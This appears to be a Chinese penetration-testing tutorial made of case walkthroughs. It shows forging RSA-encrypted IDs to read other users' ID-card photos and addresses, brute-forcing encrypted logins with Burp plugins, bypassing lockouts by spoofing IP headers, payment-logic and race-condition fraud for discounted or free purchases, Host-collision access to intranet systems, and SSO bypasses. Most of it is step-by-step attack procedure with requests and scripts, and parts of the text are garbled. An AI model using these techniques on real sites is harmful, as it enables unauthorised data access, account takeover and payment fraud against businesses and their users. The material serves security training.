- 功能:显示当前断点处的变量作用域(包括闭包)。
- 4) Breakpoints(断点列表)
- 功能:管理所有已设置的断点(可启用/禁用/删除)。
- 右键断点:支持编辑条件或添加日志(Logpoint)。
- 5) XHR/Fetch Breakpoints
- 功能:在发送特定 AJAX 请求时暂停(可匹配 URL 关键词)。
- 6) DOM Breakpoints
- 功能:在 DOM 元素被修改/删除时暂停(需在 Elements 面板设置)。
- 7) Event Listener Breakpoints
- 功能:在触发特定事件(如 click、keydown)时暂停。
- 1) Watch(监视表达式)
- 控制台抽屉(Console)
- 快捷键:按 Esc 打开/关闭。
- 功能:
- 在调试过程中直接执行 JavaScript 代码(如修改变量值)。
- 查看 console.log() 输出或错误信息。
调试流程示例
- 设置断点:在代码行号处点击。
- 触发断点:刷新页面或执行相关操作。
- 单步调试:使用 F10/F11 逐步执行代码。
- 检查变量:在 Scope 或 Watch 中查看值。
- 修改代码:直接编辑后保存(需配置 Overrides)。
高级技巧
- 条件断点:右键断点 → 设置条件(如 count > 5)。
- Logpoint:右键行号 → Add logpoint(不暂停代码,仅打印日志)。
- 黑盒脚本:忽略第三方库的调试(右键文件 → Add script to ignore list)。
范例:调试
f12
- 点击 network,比如 /login 接口
- 点击 source,全局搜索/login。定位到x.js,点击查看
- 在代码块处打断点,代码左侧点击一下
- 页面操作,遇到断点就停下来。
断点
- 控制台console打印变量
- 跳到函数定位,在代码处停留,点击进入
右侧断点操作
- F8 程序在下一个断点暂停,直到程序结束
- F10 单步跳过。程序会一步一步向下执行。但不会进入到函数内部,而是把函数当作一个整体直接跳过去。
- F11 单步进入。会到函数中。
- Shift F11 跳出函数。
- F9单步执行
右侧调试信息面板
- 1) Watch(监视表达式)
- 手动添加变量或表达式,实时查看其值。如添加 e ,观察其值
console中执行js代码、变量,观察输出。
RSA第2部分
RSA加密原理
RSA加密是一种非对称加密算法,它使用一对公钥和私钥进行加密和解密。公钥用于加密数据,私钥用于解密数据。RSA加密可以确保数据在传输过程中的安全性,因为只有持有私钥的人才能解密加密后的数据。
基本概念
安全性高
- RSA加密算法是非常安全的,即使是攻击者知道了公钥,他们也无法破解私钥
可靠性强
- RSA加密算法已经被广泛应用于各种场景,例如电子商务、金融交易、安全通信等。
应用场景
- 安全通信: RSA加密可以确保在客户端和服务器之间传输的数据安全。
- 数字签名: RSA加密可以用于验证数据的完整性和真实性。
- 身份验证: RSA加密可以用于验证用户身份,确保只有授权用户才能访问系统
案例1-加密ID获取用户身份证敏感信息
申请资料时,需要上传身份证等敏感图片信息
点击上传后的图片看到请求是加密后的id值,没有直接暴露身份证号等信息。
#点击上传,burp suite抓包 GET /xxxx/productimage?id=wzY0-8xxxxxx
从前端入手,加密一般都在前端做。
分析js,搜索PUBLIC,RSA等,可以看到RSA加密,并且给出了公钥信息,RSA加密只需要公钥即可,所以这里我们获取到公钥之后就可以去加密id的值,一般都是BIGIN PUBLIC KEY开头..
"encrypt": function encrypt(v){ var encrypt = new N.a; return encrypt.setPublickey("...--BEGIN PUBLIC KEY----------\n MIGFMABGCSqGSIb3DQEBAQUAA4GNADCBxxxxxxxxxxLIPptogxb7u+A7N/6ceA/syA5F6522H encrypt.encrypt(v.replace(/\s+/g,"")) }, "jointurlBySearch": function jointUrlBySearch(v,y)( var w = "?"; for (var T iny) w += T + "=" + y[T] + "&";
继续看处理逻辑!加密后的密文再来个url编码, return unescape(encodeURIComponent(a))
function n(a){ return unescape(encodeURIComponent(a)) } function o(a){
开始伪造。
找一个在线RSA加密的网站也可以,设置公钥在线加密数字id的值。
- https://www.toolhelper.cn/AsymmetricEncryption/RSA
- 输入公钥、要加密的id值20000012
把加密后的密文再url编码
再把加密编码后的密文替换到id参数值就可以实现越权了,获取到别人的身份证照片。
#浏览器访问 https://xxx.com/xxxx/productimage?id=xxxxx
案例2-加密ID获取收货地址信息
例如收货地址这个功能
#页面 收货地址 -------------------------- 收货人 所在地区 详细地址 手机号
查看详细看到id值是加密的,通过经验,我们猜测是RSA加密。
- 像这种长的16进制字符串,如果没有对称加解密的地方,基本上可以断定是非对称加密。
#burp suite抓包 POST xxxx/Address.do HTTP/1.1 content-Type: application/x-www-urlencoded; charset=UTF-8 id=58b2f329075ee0a172a7005e624bce6f76d805c05e21d42f417901447c122c8ecf e443fbc467647807aa3d4a29fadb4d1d50a78f6a1ce37453d5a0c92b53401079c4e0 4a41b8e5d54f0f766ab116d68747a1b466f54bda4d0232888383a6f279d4257fd465 a3f9e3e0918212475a7557296d91adc3a1da4d43ff207ecbb
那么我们来寻找一下,查看html源代码或者js代码,可以找到exponent和modulus的值,可以还原出公钥
window.modulus=
"00df984a617f433f0e6bb14803deb47718148060a69db677058cf2zdf3290d9fdbd41fc912f0a5cb12aa5e6185c22958629279d3f8e44594ff7d7aa213b"
/****** aħ".azłażżeżel。1%sexponent*+ poppoppokkokk/
window.exponent= "010001
搞个脚本或者在线加密生成数字id就可以
#需要安装模块 pip install --force-reinstall pycryptodome from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 public_exponent = 0x10001 modulus_hex = '00a784730f589d9b52fe7110541dc360118ec3bf42af 6a00da5d6a85a5e8a92ad97e9e6391c0c568e227475c 709d26598a516d8ba680a6c8b03bff52c7430eb706e6 5c8f2e6ffbc79599f5ed04b6dc066701b2058d23b2b2b8 52c030dc00601413334b5d4be952547f67e53f9e8de6 63689c4039215a95d00943b63e21195564091d' modulus = int(modulus_hex, 16) public_key = RSA.construct((modulus, public_exponent)) cipher = PKCS1_v1_5.new(public_key) #加密方式 message = b'123456' ciphertext = cipher.encrypt(message) print(ciphertext.hex()) #
D:\project\pyprojs\trae> python t.py 07e95362760315ee308aeaa635fac748e5684054a00455e888dcf1 92472f62e48a43fb4bdaea1bc78eb77c2cd010ec8f80f341ffc83e41 8eb164fc7dc5149ba4e609299e934e75662f042f4541b68653bf97 c943ea41d7d813e82556d98248d34e9efc44bd0a4fab874521cce3 d80dc3b2ff83681ff1b1dede2335406f85af6e2573
然后我们利用加密后的值,进行遍历id越权地址信息,成功获取到其他人信息。
#burp suite抓包 POST xxxx/Address.do HTTP/1.1 content-Type: application/x-www-urlencoded; charset=UTF-8 id=07exxxx
RSA第3部分
案例1-RSA加密在登录功能的利用
我们发现一个登录口,登录请求参数中密码是做了加密处理的。
#登录后 #返回数据 {"account":"19999999999","password":"PQ7rmxxxxxxxxxxF8UvYws6rbkNTY4U9U2En0A130/DdobGHKbaF5rMKbMetgccxYkXNclSchww==","id":"199999999999
我们寻找加密算法,可以先通过搜索js找到相关的登录请求代码段: 比如我们搜登录接口commonapi/admin/loginByUid,或者一些加密关键字encrypt、rsa.md5、sha256等关键字找到加密位置。
var a = Object(i["a"])({}, o.form); a.uid = a.account, a.password = s["a").encryptByRsa(a.password), o.postAjax("/commonapi/admin/loginByUid", a).then((function(n) {
可以看到其中使用了rsa加密,且公钥信息如下:
encryptByRsa: function(e) { var n = new a["a"] ,t= "MIIBljANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApsvo/lvY/XMsSZ4NJoQ9wDEfWCTfgA48OrCDJw5Sy0cRFL 4gpTbU9oQ9ofST6XC63p+l6zVuVKaQxqANJ5***********CX+7YjjE5g5sa1KFssjghJYo5MtnU4nl9yJYvByReVJPzSnVuf DkNJ6NsjjQQvuXAPixwK5tgqGyL/PMjB681QnrVxsah9l+bowlDAQAEB";
可以使用burp插件BurpCrypto进行自动加密进行爆破
- BurpCrypto –> RSA –> X509 Key
新增保存一个处理器。
然后设置好爆破的密码变量
payload处理设置成插件
然后进行爆破,插件会对payload自动加密,最终成功拿到弱口令进入后台。
案例2-RSA加密在登录功能的利用
找到一个登录口,发现请求存在加密。
#burp suite抓包 POST /login HTTP/2 username=btq2DtmMxxxxxxxxxxx&password=Yi7huqxxxxxxx
在前端html源码中泄漏了公钥值
<input name="publicKey" type="hidden" value="MiGfxxxxxxxxxxxxxxxxxxxxxxxx"> <ul> <li class="current"> <span>用户登录</span>
另外登录时无验证码,导致可进行暴力破解,最终拿到弱口令进入后台。
操作和上例一样。
支付漏洞
第1部分
什么是支付漏洞
支付漏洞是高风险漏洞也属于逻辑漏洞,通常是通过篡改价格、数量、状态、接口、用户名等传参,从而造成小钱够买大物甚至可能造成0元购买商品等等,凡是涉及购买、资金等方面的功能处就有可能存在支付漏洞。
常见支付漏洞类型
如
- 抓包修改订单类型 orderType=6
- 修改订单状态,0元购商品。取消订单时
- 修改商品金额
第2部分
案例1-修改订单数量绕过支付
选择商品,添加进购物车
提交订单,修改数量0
# burpsuit 抓包 assetCount=0
案例-修改有效周期进行支付绕过
后端充分信任了前端数据问题。
购买页面,使用周期1个月
支付时,把周期添加成我们想要购买的多个日期,这里我们改成5个月
#burpsuit 抓包 "2022-05 2022-06 2022-07 2022-08 2022-09", "serviceCycle":5
生成订单,返回查看账单。
案例-先试用再购买
无论是否是新用户,在购买XX系统专家版30个用户账号,50个用户账号及高级版时均为原价,无优惠情况,我们可通过先购买试用版,再进行升配的方法减少236元,这样商户就减少了236元利润。
正常如果直接购买XX系统专家版30个用户账号,50个用户账号及高级版时均为原价,无优惠情况,
我们先购买10用户专家版,再进行升配
此时发现,购买专家版30用户,50用户,及高级版费用均减少236元。
案例-首购产品可享受同等优惠下增配
某云产品首购优惠力度很大,限购1次,且系统盘存储无法变更,如果创建实例后进行扩充系统盘无法享受优惠,攻击者可利用企业首购时增加系统盘存储并享受同等优惠惠,商家将减少盈利。
打开购买页面
点击立即购买进入下一个页面,并在点击去支付的时候使用burp抓取数据包
#burpsuite 抓包 "cdsDiskSize":[ "size":80, ]
创建订单后再次查看订单详情,购买配置增加了,且还是以1折折扣。
此产品为优惠固定产品,正常流程无法改变系统盘配置,只能购买后进行扩容,但是购买后就无法享受1折优惠,而只能以正常价格加购,若购买者利用此方法进行购买,商家就会减少一大笔利润。
第3部分
系统订单生成和响应之间可能存在断层。
案例1-无限首购优惠
首先打开app,登录app,进入点击 “地道音频课”
可以看到首月半价38元一个月,第二个月开始自动续费是78元每个月。
这时候多个手机模拟器也可以直接登录账号进入支付页面。
立刻付款下一步下一步一直到微信支付页面,先不支付。
第二个手机也进入到微信支付页面,第三个手机也进入支付页面,多个手机都进入支付页面。
现在我们用第一个手机发起支付,支付成功,这时候再关闭自动扣费。现在回到账号状态,查看可以看到38元成功开通了一个月的会员。再进入支付就需要78元了。
现在我们拿前面所有进入到这个微信支付页面的手机依次发起付款,还是38元。可以看到付款成功了。有效期后延了一个月。
也就是说平台并没有在付款这一刻进行校验,只确认了我们订单缴费金额了。
这里不用管账号会不会被挤掉线导致无法利用多个手机进行多次签约的问题,因为那时候我们已经进入到微信、支付宝页面已经生成微信的支付订单。
案例2-无限首购优惠
打开app,进入开通vip,可以看到开通签约,自动续费连续包月只需要8月一个月。
现在我们拿其他或者多个手机进入支付页面,可以看到只需要8元这时候我们不支付。
现在拿新的手机登录进入app,开通vip页面。进入支付页面。
支付成功,再关闭签约。这时候返回查看开通就需要vip12元一个月。
然后我们把之前进入支付页面的多个手机,都发起支付。再次返回app查看,可以看到以8元的价格开通了12元的会员。
案例3-绕过试用支付
#页面 试用版
点击立即购买,生成订单
#burp 抓包 "buyId":"1111xxxx"
不断发送购买请求,生成多个订单id。
打开多个支付页面,价格都是试用价格。
https://xx.com/?buyId=xxxx
第4部分
案例1-横向井发绕过限制同时购买多参数产品
什么是并发(条件竞争)支付漏洞?
- 并发支付漏洞是指攻击者通过短时间内发送大量并发请求,在系统未对订单状态、库存、余额等关键数据进行有效加锁或原子性校验的情况下,绕过正常的业务逻辑限制,造成:
- 重复购买商品但只扣一次款
- 低价/零元购买高价商品
- 突破限购数量
- 余额不足仍成功下单
- 横向: 指攻击者针对同一类资源(如同一个商品)发起多线程/多请求操作。
- 并发: 多个请求几乎同时到达服务器;
- 组合参数: 同时篡改价格、数量、订单ID、用户ID等多个参数,形成复合型攻击。
Burp suite抓包请求到repeater模块
- 点击三个小点:Create tab group
- 点击Send旁边的下拉菜单
- Send(current tab) 只发送当前标签的请求
- Send group in sequence(single connection) 组内按顺序依次发送请求
- Send group in sequence(separate connection)组内按顺序依次发送请求,但按新连接一个个发
- Send group in parallel(single-packet attack) 并行,同时发送组内所有请求。选这个
案例2-横向并发-云产品并发突破个人版限制
个人账号
- 选把不同地区的服务器资源。如华东1、华北1、华东2,选择创建,使用burpsuite 捕获到创建请求。
- 使用burp suite发送到repeater,和案例1一样利用组并发请求。
逻辑漏洞
第1部分
案例1-伪造IP绕过登录限制
利用伪造IP 绕过登录限制的方式
一些系统在限制登录次数时,会依据X-Forwarded-For头中的IP地地址来统计登录次数。正常情况下,这个头字段由代理服务器添加并按照规范记录客户端和代理服务器的IP信息。如果客户端在请求中自行添加伪造的X-Forwarded-For头,服务器端只是简单地从该头获取IP来统计登录次数,就会将攻击者伪造的IP地址认为是不同的客户端发起,这样我们就可以绕过录次数限制
利用方法:
在发送登录请求时手动添加X-Forwarded-For头或其他头,然后设置为不司的IP地址,也可以编写程序或脚本,在每次登录请求中动态生成伪造的X-Forwarded-For头,随机生成IP地址或者使用事先准备好的IP地址列表,来模拟不同的客户端进行登录,来绕过系统基于IP的登录次数限制,也可以使用bp的插件来完成。
我们在进行暴力破解的过程中,往往会遇到IP错误次数限制的问题,即当一个IP连续登录录错误n次以上,会自动禁用该IP登录。
这严重的限制了我们前进的步伐。
1、可以看到图中显示多次登录失败ip被封禁!
#页面 用户名密码登录 123 多次登录失败,您的IP已被封禁,请稍后再试
2、思路:是不是可以伪造IP进行绕过?
- 伪造指定ip
- 伪造本地ip
- 伪造随机ip
3、我们可以使用burp的burpFakelP插件来进行尝试伪造IP进行绕过
https://github.com/TheKingOfDuck/burpFakelp
4、在Repeater模块右键选择burpfakelp菜单,然后选择相应的IP伪造选项,程序会自动添加所有可伪造的字段到请求头中。
不同的系统获取xxf的头不一样
X-Forwarded-For:127.0.0.1 #表示客户端原始IP,经过代理时被追加记录 X-Forwarded:127.0.0.1 #类似X-Forwarded-For,但格式更简洁,用于只别原始IP Forwarded-For:127.0.0.1 #标准HTTP Forwarded头的一部分,用于标识客户端来源IP Forwarded:127.0.0.1 #标准HTTP头,提供客户端和中间节点信息,如IP和主机名 X-Forwarded Host:127.0.0.1 #代理传递的原始Host头部,指示客户端访问的目标主机 X-remote-IP:127.0.0.0.1 #自定义头,通常也用于标识客户端IP X-remote addr:127.0.0.1 #常用于记录远程客户端地址,功能类似X-Forwarded-For True-Client-IP:127.0.0.1 #Cloudflare等CDN使用此头来标识真实客户端IP X-Client-IP:127.0.0.1 #用于获取客户端的真实IP地址 Client-IP:127.0.0.1 #另一种表示客户端IP的非标准头 X-Real-IP:127.0.0.1 #Nginx等反向代理常用头,用来传递客户端真实IP Ali-CDN-Real-IP:127.0.0.1 #阿里云CDN设置的真实客户端IP头 Cdn-Src-Ip:127.0.0.1 #CDN提供商便用的头,表示原始请求者的IP Cdn-Real-Ip:127.0.0.1 #类似Cdn-Src-Ip,用于CDN环境下获取真实客户端IP CF-Connecting IP:127.0.0.1 #Cloudflare CDN中的真实客户端HIP X-Cluster Client IP:127.0.0.1 #在集群或代理环境中使用,表示客户端IP WL-Proxy Client-IP:127.0.0.1 #WebLogic服务器用此头说别客户端IP Proxy-Client-IP:127.0.0.1 #代理服务器传递的客户端IP Fastly-Client-Ip:127.0.0.1 #Fastly CDN提供的客户端真实IP True Client Ip:127.0.0.1 #与True Client IP相同,只是大小写不同,功能一致
5、使用以上功能来进行爆破:将数据包发送到Intruder模块,在Positions中切换Attack type为Pitchfork模式,选择好有效的伪造IP字段,以及需要爆破的密码字段:
#burpsuite Intruder Choose an attack type Pitchfork Payload positions X-Forworded-for: $36.62.168.xx$ {'name':'admin', 'pass':'$123456$'}
6、按照箭头顺序将Payload来源设置为Extensin-generated,并设置负载伪fakelp然后设置第二个密码变量。 注意:这里的payload前后顺序不要搞错了
- Payload sets
- Payload set: 1 第1参数
- Payload type: Extensin-generated –> 插件名称burpfakeIp
- Payload settings: burpFakeIP
7、注意这里的URL编码去掉,不要将IP的.字符进行编码,容易出错!
- Payload encoding: 取消勾选
8、然后设置密码字典
- Payload sets
- Payload set: 2 第2参数
- Payload type: Simple list
- Payload settings 添加密码
9、点击开始爆破,Start attack,这里爆破请求中XXF头就会随机生成大量IP,从而绕过服务器限制,进行暴力破解。
案例2-通过修改登录模式绕过加密限制
1、首先打开一个登录后台
2、查看登录页面,提示输入手机号,我们当然先按照提示输入手机号格式进行登录,这里大家需要注意,比如其他提示邮箱登录,工号登录,用户名登录,手机号登录各格式不一样,按照提示来输入相应的用户名格式!
#页面 手机号 密码 登录
3、查看请求包,发现密码经过了加密处理,正常我们是需要去JS找到加密算法再进行测试,这是我们直接不用那么复杂
#burp 抓包 POST /login HTTP/2 ------webKitFormBoundaryqlItสYV1PSKLF37h Content-Disposition:form-data: name="account" 19999999999 ------WebKitFormBoundaryqIItWYV1P8KLF37h Content-Disposition: form-data: name="password" QqyqtCHq236ilzz8Q1xoxxxx 79Vx1eu8+gwor93rkNUxxxxx u5ejXqRvZysVLahKP/QBxxxx ------WebkitFormBoundaryqIItWYV1P8KLF37h Content-Disposition: form-data: name="type" pwd ------WebkitFormBoundaryqlItWYV1PSKLF37h--
4、思考一下,我们换个思路,尝试修改一下登录类型type看看如何提示
#burp 抓包 POST /login HTTP/2 xxxx ------WebkitFormBoundaryqIItWYV1P8KLF37h Content-Disposition: form-data: name="type" password123 ------WebkitFormBoundaryqlItWYV1PSKLF37h-- #响应 { 'error':400, 'message':'选择正确的登录类型' }
#burp 抓包 POST /login HTTP/2 xxxx ------WebkitFormBoundaryqIItWYV1P8KLF37h Content-Disposition: form-data: name="type" password ------WebkitFormBoundaryqlItWYV1PSKLF37h-- #响应 { 'error':400, 'message':'用户名或密码错误' }
5、发现除了原始的pwd类型,还有password类型也存在,如果不看JS,或者不懂JS,我们这里可以大胆猜测一下,pwd类型是加密传输,password是明文传输
6、然后直接对用户名或密码进行明文爆破,最终发现爆破出弱口令用户,登录系统。
第2部分
HOST碰撞漏洞原理及工具
HOST碰撞漏洞原理
HOST碰撞漏洞(也称为主机名冲突漏洞或是HTTPHOST头部注入漏洞)作为一种常见的网络攻击手法,因其能够绕过访问控制机制、访问未经授权的资源。
这种漏洞通常涉及到攻击者通过篡改HTTP请求中的Host头部字段,试图误导服务器执行非预期的操作或者获取不应被访问到的资源。这不仅可能导致未授权的数据访问,还可能造成敏感信息泄露,严重威胁Web服务务的安全性。
漏洞成因:
如果Web服务器未能正确验证或处理HTTP请求中的Host头部字段,攻击者便有机会通过篡改此字段执行一系列恶意操作,包括但不限于绕过访问控制机制、获取未授权资源等。具体来说,当服务器配置不当或缺乏对Host头部字段值的有效验证时,攻击者可以修改该字段以访问其他虚拟主机上的资源。
例如,在一台同时绑定了多个域名的服务器上,若其没有实施严格的Host头部字段验证措施,攻击者则可能通过构造带有特定Host头部值的HTTP请求,非法访问那些本应受限于其他域名的资源。这种情形不仅可能导致敏感信息泄露,还可能使攻击者获得对服务器上其他应用程序或数据未经授权的访问权限。
漏洞挖掘技巧
初步信息收集
首先,需要对目标系统进行全面的信息收集,包括但不限于整理目目标资产的外网服务器IP地址、涉及解析到内网IP的域名。
- 使用自动化工具进行碰撞
- HOST碰撞漏洞挖掘工具
用于检测HOST碰撞漏洞的自动化工具。它通过对比目标IP地址和域名之间的响应数据包大小、标题等信息,快速判断是否存在Host碰撞漏洞。以下是该工具的使用方法和工作原理:
- 支持将搜集到的域名和IP地址分别存储在hosts.txt和ip.txt文件中,便于批量测试。
- 用户还可以在hosts.txt中添加一些常见的内网办公系统子域名(如 oa.example.com或test.example.com),以覆盖更多潜在的测试场景。
将目标资产解析到内网IP的域名列表保存到hosts.txt文件中,例如:
www.example.com oa.example.com test.example.com
将目标IP地址列表保存到ip.txt文件中,例如:注意这里是外网服务器IP
8.200.21.57 121.2.3.11
假设工具名为
- hosts_scan.py
- python hosts_scan.py
工具会根据返回的响应内容(如数据包大小、标题等)进行匹配,并输出成功的Host头与对应IP地址。
[+] Match Found: Host=oa.example.com, IP=8.200.21.57, Title=OA系统 [+] Match Found: Host=admingl.example.com, IP=121.2.3.11, Titlee=游戏管理后台
验证Host碰撞漏洞
最简单的方法是直接修改本地的/etc/hosts文件,强制指定某个域名对应的解析IP地址,然后通过浏览器或其他工具访问该域名。
操作步骤:
- 打开/etc/hosts文件(Windows系统中为C:/Windows\System32\driverss\etc\hosts)
- 添加一条记录,强制将目标域名解析到指定的IP地址。例如: 121.33.76.2 www.test.com
如果返回的内容是正常的页面,并且与预期不符(例如,显示了其他虚拟主机的内容),则可能存在Host碰撞漏洞。
使用curl命令
curl是一个强大的命令行工具,可以用来发送HTTP请求并指定自定义的请求头。通过显式设置Host字段,可以直接测试目标服务器是否容易受到Host碰撞攻击。
curl --resolve www.test.com:80:121.33.76.2 http://www.test.com #--resolve参数的作用是将域名(如www.test.com)强制解析到指定的IP地址(如121.33.76.2),并且指定端口为80。
这条命令的效果是,在访问http://www.test.com时,绕过系统的DNS解折,直接使用指定的IP地址发起请求。
如果返回的内容是正常的页面(例如,原本应该属于其他域名的页面),则可能存在Host碰撞漏洞
案例1-HOST碰撞获得内网系统权限+RCE
# 域名解析到内网的ip ]# ping harxxx.com PING harxx.com (10.10x.xx.xx) 56(84) bytes of data. #收集目标外网的ip地址 python t.py ----碰撞成功列表--- 协议:http://,ip:111.63.x.x host:game.xxx.net, title:运营平台,匹配成功 #验证 #修改本地host文件 111.63.x.x game.xx.net
放在内网的系统,防御安全性较为薄弱。
有了命令执行权限,就可以找敏感文件,密码aksk等等。
案例2-HOST碰撞获得内网系统权限+强口令
# 域名解析到内网的ip ]# ping llx.com PING llx.com (172.17.xx.xx) 56(84) bytes of data. #将域名和收集到的外网ip组合起来 python t.py ----碰撞成功列表--- 协议:http://,ip:111.63.x.x host:game.xxx.net, title:运营平台,匹配成功 #验证 #修改本地host文件 111.63.x.x game.xx.net
访问到一个登录界面。发现账号密码是加密的。
#burp抓包 POST /xx?grant_type=password&username=03BHVLBmSn/xxx&password=ZZRZZzPKxxx&uuid=802f23df8-4019-4285
找到加密方式。方法1:查看页面中的js文件搜索相关的加密字段;方法2:在浏览器中打断点看,看登录请求后是用什么函数加密的。
可以看到使用的是AES加密算法。
},
encodePWD(e) {
var t = CryptoJS.enc.Utf8.parse (this.loginVal)
, o=CryptoJS.AES.encrypt(e,t,{
mode: CryptoJS.mode.ECB,|
padding: CryptoJS.pad.Pkcs7
}).toString();
return o
loginVal: "91a823720372ee6c5b0cfa4xxx48"
打开在线加解密网站:https://www.toolhelper.cn/SymmetricEncryption/AES
- 运算模式ECB ,填充方式PKCS7,密钥长度256,密钥Text: 91a823720372ee6c5b0cfa4xxx48
解密ECB模式只需要密钥即可解密拿到明文信息。
存在验证码机制,发现把uuid参数设置为空就可以绕过
#burp抓包 POST /xx?grant_type=password&username=03BHVLBmSn/xxx&password=ZZRZZzPKxxx&uuid=
密码规则
},
submi tForm() {
let e=this.$PWDValidate(this.newPassword);
if(1 != e && this.newPassword.split("").length < 10 || this.newPassword.spl
return void this.$message.error(e);
let t = (
}, i["default"].prototype.$PWDValidate = function(e) { vart=/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[_!@#$X^&*(),.;:\[\]{}<>?]+).(10,30)$/ return !!t.test(e) || "长度为10~30位,必须同时包含大小写数字和特殊字符(!$#%_@^&*(),.;:[]{}<>?) },
根据用户名生成密码字典。
Zhangjian@2012 Zhangjian@2013 Zhangjian!1977 Zhangjian!1978 ...
burpsuite安装BurpCrypto插件
使用BurpCrypto插件,设置AES Settings加密方式,点击Add processor保存
- AES Aig: AES/ECB/PKCS5Padding
- AES Key: 91a823720372ee6c5b0cfa4xxx48
intruder模块,payload处理设置插件,这样密码在导入前会自动完成加密。可以直接用字典爆破。
解密后明文的格式是这个 {"userName":"admin","password":"123456"}
- 抓包放到intruder中,添加密码变量
- Payload type: Custom iterator 自定义迭代器
- 把明文传递的格式给拆分成3段,
- Position 1是{"userName":"
- Position 2是导入需要爆破的用户名
- Position 3是","password":"123456"}
- Payloads–>Payload proccessing,Add添加规则burpcrypto插件
- Invoke Burp extension: BurpCrypto - AES Encrypt - 你保存的名称
- 直接进行爆破
第3部分
什么是SSO单点登录
SSO(Singlesign-On)是一种认证机制,允许用户只登录一次,即可认方向多个相关系统或应用,而无需重复输入账号密码。
案例1-SSO系统中的反模式漏洞
- 系统接入了SSO单点登录
- 正常流程:用户→系统→微软登录→返回Token→系统验证 登录成功
- 目标系统流程:用户→系统→微软登录→返回msInfo.mai1→系统验证→登录成功
它没有检验token,而是拿了返回的邮箱字段来界定你是谁。就是变成了你是哪个邮箱就是哪个人了。如果改成管理员邮箱,就会登录管理员账号了。
//This function is run when the website is loaded. function doLogin() { //Check with the Microsoft Authentication Library (MSAAL) to see if there is a logged in user if (this.msalIsUserLoggedin()) { //The user is signed in via Microsoft. Now get the user's information via their graph API. this.getUser InfoFromMicrosoft().subscriibe(msInfo = >{ //The company'sAPI looks up users by emailaddress.It uses the email returned from theMicrosoft graph API. this.getUserInfoFromCompanyAPI(msInfo.mail).subscribe(companyInfo = >{ // 返回的邮箱字段 //Users can be inactive if they do not exist inthe system, or if their access has been revoked. if (companyInfo.isActive) { //These session storage values are used later for dispplay purposes. role is used to control access to certain pages and region controls what data the user has access to sessionStorage.setItem("role", companyInfo.role); sessionStorage.setItem("name", companyInfo.name) sessionStorage.setItem("region", comparinfo.region) this.router.navigate(["dashboard"]); } else alert("You do not have access to this aapplication."); }); }); } else this.redirectToSSOLoginPage(); //Go back to the login page where the Microsoft login button is. } function getuserinfoFromMicrosoft() { //Authenticates via cookies set by SSO login1 return this.http.get("https://graph.microsof(t.com/v1.0/me") } function getUserInfoFromCompanyAPI(emailAddress) { //Authenticates via hardcoded API key foundin the client-side Javascript. return this.http.get("https://company-api.com/prod/search/userSearch?email=" + emailAddress) }
管理员的邮箱从哪来?
- 企业官网
- 系统本身的提示信息。比如登录失败时,提示请联系xx.com管理员
- 社交媒体和公开资料
- 企业系统,接口返回值或者前端代码里,信息泄露
function getUserInfoFromCompanyAPI(emailAddress) { //Authenticates via hardcoded API key foundin the client-side Javascript. return this.http.get("https://company-api.com/prod/search/userSearch?email=" + emailAddress) }
#burp抓包 包括管理员邮箱一次性返回了 GET https://company-api.com/prod/search/userSearch?email=all&sie=100 HTTP/1.1 HOST: xxx.com Accept: application/json x-api-key: xxxx #响应 email: xxx.com firstname: xx fullname: xxx xxx
前端伪造登录
1、修改了登录函数
function doLogin() { //Spoof that we are logged in via Microsoft. if (true /*this.msalisuserLoggedin()*/) //Stop this API call since it would fail. //this.getuserinfoFromMicrosoft () subscribe (maInfo => { var msinfo = ("mail": "[email protected]"); this.getUserInformationCompanyAPI(msinio.mail).subscribe(companyinfo = >{ if (companyInfo.isActive) { sessionStorage.setItem("role", companyInfo.role); sessionStorage.setitem("name", companyInfo.name); sessionStorage.setItem("region", companyInfo.region); this.router.navigate(["dashboard"]); } else alert("You do not have access to this application."); }); } //); else this.redirectToSSOLoginPage(); }
2、canActivate守卫函数
canActivate(t, e) {
return true;
3、修改activateHelper方法
conste = this.location.path(!0); return this.suthService.handleRedirectObservable().pipe(fd(() = >{ if (false) // 改这里 return t ? (this.authService.getLogger().verbose("Guard - no accounts retrieved, log in required to activate"),
4、成功登录系统管理员界面
案例2-SSO会话固定漏洞
企业系统接入SSO,通过idp进行认证。
#页面 xxx.com/idp/auth?client_id=xxx&redirexxxx LOGIN WITH xxx LOGIN WITH xxx
SSO登录流程详细分析
#1 点击登录按钮,发起SSO请求 GET /idp/auth/mid-oidc?req=[UNIQUE_ID]&redirect_uri=(REDIREECT_URI 用户点击登录 系统生成一个唯一请求ID(UNIQUE_ID) 系统会跳转到身份提供者(ldP)处理认证 #2 SSO服务提供方处理请求 类似Google登录,系统向IdP域名发送多个请求 如果用户之前已经登录过IdP,某些动作会自动完成(无需再次输人密码 #3 回调URL被调用 GET /idp/callback?code=(STUFF]&state=[STUPP] IdP完成授权后,将请求回调到系统 这里不是最终返回sessiontoken的步骤 #4 请求生成会话令牌(Session Token) GET /idp/approval?req=[UNIQUE_ID] 通过UNIQUE_ID获取系统会话token 关键点: UNIQUE_ID与最开始第一步生成的值相同
抓取登录按键对应的链接,分析请求参数,有req
# /idp/approval?requ={req} https://xx.com/idp/auth/mid-oidc?req=bgxmzxxxx&redirect_uri=https://xxx.net
案例3-SSO配置不当导致认证绕过
- 使用MicrosoftSSO,看似安全
- 重定向请求返回异常(Content-Length>40,000bytes)
#burp 抓包 HTTP/1.1 302 Found Cache-Control: private Content-Type: text/htmi; charset=utf-8 Location: https://login.microsoftonline.com/xxx/auth2/authorize?client_id=xxxx source=https%3A%2F%2Fanalysis.windows.net%2Fpowerbi%2Fapi&response_mode=form_post&res Set-Cookie: ASP.net_SessionId=xxx;path=/;secure;HttpOnly;SameSite=Lax Set-Cookie: xxxx
应用在跳转时泄漏内部响应。
修改响应头:将302 Found –> 200 OK,并移除Location
- burpsuite 中Proxy Settings —> Http match and replace rules
- type: Response Header; match: Location: xxx; replace: 空
- 302 改为 200 OK
结果:可直接访问整个应用。
第4部分
案例1-通过高线程并发进入后台
首先打开目标系统的登录页面
请输入用户名
请输入密码
请输入验证码
记住密码
登录
使用代理工具捕获登录请求包,了解请求和响应的信息。
#burpsuite抓包 #响应 用户名密码错误请检查
把密码设置为空
- burpsuit–>intruder
- payloads set: type: Null payloads 空类型
- Generate: 9999 请求次数
并发多时,可以把别人的信息写到你的请求上。信息窜行覆盖
案例2-设计不当虚开发票造成税务处罚和资损
业务逻辑设置的不严谨。
场景:
